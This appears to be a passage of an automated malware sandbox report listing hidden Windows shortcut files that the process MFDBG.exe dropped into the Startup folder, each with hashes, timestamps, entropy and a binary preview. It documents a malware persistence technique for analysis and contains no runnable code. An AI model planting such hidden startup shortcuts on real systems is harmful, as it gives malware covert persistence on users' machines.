Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e52b3c00bdc14d389bf596e1f17c8288.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:44 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.928799926264344
Encrypted:	false
SSDEEP:	24:8MhBfI8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8+V0R6rMhpBoUBxdRd1nYyg
MD5:	ED1A15B3B4BD8330A1A0CEAD6F945D6D
SHA1:	32F4F45869AA1FD578C723DC574BD6335D9331C9
SHA-256:	FF1306ADCCD5F7AB6B73956D0BA9D1D28813FFFD3FFDEB1757AD432CD219ED14
SHA-512:	FC498A0904651823838B08B218DAD43C4D87E88F2FC7C08DB28E311AA0CE9177BD32BBDA732D2EAA77B27964DDFE2CAC379D94ABEAB54676B582ED09F9EA73D5
Malicious:	false
Preview:	L..................F...."...]W%.{.......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e6128621d8704ee88f0f9f8751f4f055.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:16 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.943266012371529
Encrypted:	false
SSDEEP:	24:8TmhBfF8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Ts60R6rMhpBoUBxdRd1nYyg
MD5:	FD7C9DD96419263D147DA97573C72872
SHA1:	C8901E3C3D81C9C23542741F2A4DA4FA0DC6E5A0
SHA-256:	8B3EA5E2476869590264F36FF5C0296271C4A0C67830469775F15A6028BF4F9E
SHA-512:	BDD120C734824DA142F712B5E1352B205108B482E671718A9FF8DFB480AEEB79137C83C5B465039B0138027EC5A9761961D466C03CC73F41B47F1F77103D741C
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....(..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e6732c3d34c4434ab577f5e64b9359ff.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:42 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93550510020662
Encrypted:	false
SSDEEP:	24:8ThBfe8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8nL0R6rMhpBoUBxdRd1nYyg
MD5:	4534930D853D4F9BAE4956C6B0B71991
SHA1:	83CC0A74E66A4EEBB2FCC5343EC9F9FC159A1262
SHA-256:	510BE0BF55AB34D4AA9CB1A060C15CE0399E06DE773C8B4A0F0E5A29435BAB16
SHA-512:	7D783AED58A01427CB0310EADFF980DDEF5E41DBBE7310F69EF6571B7FD4A28157D77C61BEE7A8A7EDCC89E8390027BDD033127C0B20993761E759D47E4B642C
Malicious:	false
Preview:	L..................F...."...]W%.{.....?.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...<S:.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e6c62a64244f441fb5dc87c9bbd1e47a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:10 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939952207047766
Encrypted:	false
SSDEEP:	24:8Wb2hBfD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8WwI0R6rMhpBoUBxdRd1nYyg
MD5:	F09550D572009DC115959CA5A0D4D7CF
SHA1:	8E5630EBBFE5A479CD36441BD5D60189E788FAE8
SHA-256:	696822B32A167FC382741564B8B475E560BFE454F472BFEF9770CCCE25430C2D
SHA-512:	190BBFA7B9B18A8D2B0213FA40CE9C3A61043E9CC4DC600B0AF79A72E849F6EBC35EE3013543A34A9A10F55D898D74640DF28758940DF1D165087690761F6A85
Malicious:	false
Preview:	L..................F...."...]W%.{...j.y.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....a.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e73e5de0c7954b38a82fe935a886dc3a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:55 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938149610849889
Encrypted:	false
SSDEEP:	24:8chBfB8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8u+0R6rMhpBoUBxdRd1nYyg
MD5:	40CA51FE7AB5E861FDE9C92755A346C5
SHA1:	958F56091282499A1AB84BF783721B550F1C41E7
SHA-256:	A80E01192EB62867797F860FBCB0E8924A49FBE3B1E3C375A56CB2B6E6935A0C
SHA-512:	A80D2B222516C40FFD928FA0127388BECCDA99237A735FE9A5B84CFA78F49635C7CC494162D56E5A76ABAE9BE538C406E1A0B839703E4FEDAFDB06ACD919AA4B
Malicious:	false
Preview:	L..................F...."...]W%.{...}9_.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....\.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e7783c63bc7e45c6bc81ae741411aa40.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:26 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940142920822484
Encrypted:	false
SSDEEP:	24:8BPhBfW8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:85D0R6rMhpBoUBxdRd1nYyg
MD5:	EB138ECF5CC4579C87B30F381F765E6B
SHA1:	86064AF13A91CFBD680AE0840F6A2BF362ABED2D
SHA-256:	94A4154B4B3D968ABB5F6CC00CCF54F90FD9DDDC340F8596EE04613E7645C850
SHA-512:	9878AA92E909428A3D0E65FFFFD825DE458870F9844A3543AA0213CA0A5F8495AF1937C2FA49A96B01AA4B248B32919F8C0250EC35F9F366195015C532A3B75B
Malicious:	false
Preview:	L..................F...."...]W%.{...f`..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e779db2c10c042fdb17e61ed30c6bcfd.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:50 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940230908020818
Encrypted:	false
SSDEEP:	24:8xhBfKP8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8BC00R6rMhpBoUBxdRd1nYyg
MD5:	E94C7F2B794727D24EA698D7A5D96938
SHA1:	586E4A9A7CA6BC92B4E3BD25DB392BF89C407C1A
SHA-256:	D61181CEAAA79CE3B951E5C4CD2B71E83B74EA570C88920AE146B5B50BD13E30
SHA-512:	BD273D177ABF498C4AF0FE08FE55783CD0C75F19E8FBB33761FDF9B09F32CDE9ACD68491968E83682A47BD99FE14832A798407AA7A47FCFD7686C99051240599
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...23..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e7eaed14f64c497fbdce24fb9b969c26.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:09 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.941166202353677
Encrypted:	false
SSDEEP:	24:8JhBfg8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Jd0R6rMhpBoUBxdRd1nYyg
MD5:	1EC725A716D2BF9E366833906A169ED9
SHA1:	882DB322EE10D2C1B8E7FF65A369D9DE763C0D8C
SHA-256:	FA4943F907D323669B7C826A0C4094A4C82B72A2E78AE977C4EB2783200D6D5E
SHA-512:	E64D36763F0446B26D1544BCA030332C21DF9701BC5CFF1E71C231285894CF36ACE9E67BEC0577F559DD7E05B2ABB48BBAA7B3B87444F6DE8951C9663583CBC1
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e828bb1103fc47478b5baf8c097e150f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:45 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93179504320091
Encrypted:	false
SSDEEP:	24:8hhBfW8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8RD0R6rMhpBoUBxdRd1nYyg
MD5:	3BA2492DA0D0372A577EA9CDE4D5F1B6
SHA1:	20728377F6BE0BA3D00B62F8B85E1CC807A6AEB5
SHA-256:	9400A4916BE4B328DAE48D1EE1A5A86A5A3511C7B1DBAE17EDF2156BAFCF14DE
SHA-512:	015090ECBDDCD4BB017B6FDAA02B48DD01277B0B8A320CC2708DA62F56CA5DBCD24B4D4D8F2492DBEFBC7B672663C09592EBD9EDB11F7DDD7CAC873B64A78412
Malicious:	false
Preview:	L..................F...."...]W%.{...!...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...C...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e8979552fa4a4e85b702a01d3cd44f04.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:51 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.94427504058979
Encrypted:	false
SSDEEP:	24:8l9hBfyQ8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8l9aF0R6rMhpBoUBxdRd1nYyg
MD5:	C386277287FE85B304601C6F9EA1A3F5
SHA1:	AD89D08624647F5EAA7EFE8941C9A58681F92175
SHA-256:	DE56249DC224BF2D1B7994B09814BD96404295859AFB25D3419EA22B1D3960EE
SHA-512:	03DEBF56B6C62C3C7FD941E0B3568362D41D141FA9A0341A6A4818559284011953110F95D2115C89642F4190D6EC5C675FEFF663EBCA9760693088F46D7198E2
Malicious:	false
Preview:	L..................F...."...]W%.{...._..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....s..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e8be84038d194f549112b270022c2dd3.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:28 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.94260091325068
Encrypted:	false
SSDEEP:	24:8Sd9hBfEH8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8ST8c0R6rMhpBoUBxdRd1nYyg
MD5:	7B7EEFA0D2AEB033F4EE5BF058495A0E
SHA1:	2FD52821C8D1CA5242E8740AE6411FBE3A4675C3
SHA-256:	41AB7B6FA411DB01B14EAE69041D8A1E2A302814EC7D7A912B9A65FD44DBA58B
SHA-512:	1789E936602A574E653B272791472D6F7A314A82C519CDC2D3543CFD260957597BC7259641341860358ADFED73C2F0E398829A57EB53A1F5228E1F825BA16809
Malicious:	false
Preview:	L..................F...."...]W%.{...3}..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{..../..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e8d9a5a9610748e7aeb1011d3870d093.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:27 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935683542858943
Encrypted:	false
SSDEEP:	24:8SahBf1D8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8SQNQ0R6rMhpBoUBxdRd1nYyg
MD5:	570A50B759788FBE8215D4432F607B0B
SHA1:	73D54283A9F9548DC492F603140E7F616C8C75A7
SHA-256:	1B4E5C64BFEF3664858D9E83DB794413B81074091A8A4BE2BBAE5D367E7D5317
SHA-512:	6773E78DFD549E07BD3EC11E2E0F4C7A232D82FFA4CDDADB3C432C6DC3B94EF7024F195E0442AB3EAF8FD40564BBA40B5BC8B8B7265F97F3367720B087F56AB6
Malicious:	false
Preview:	L..................F...."...]W%.{....=.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....4.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e9401d77f4e84a148d3f4fea641a205c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:46 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9383235978566065
Encrypted:	false
SSDEEP:	24:8uhBfJe8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8kF0R6rMhpBoUBxdRd1nYyg
MD5:	98DDE40DFB96A116778C6228FE78A0BA
SHA1:	6D7A5EBAD191A186D040FEB284BA1599D94C61F2
SHA-256:	BD78EC9FCBACB52EC52E53767033EAC22340598BC3CC74E2D5CE9D0006E494C0
SHA-512:	268313E216C6F8EC8FA4C941066765F9DDAB092E3638AC26531F4444448A2E380B9440B46E93E547C3374884940B760FC0988BA6AC0DF9590DDCDF017D5672E3
Malicious:	false
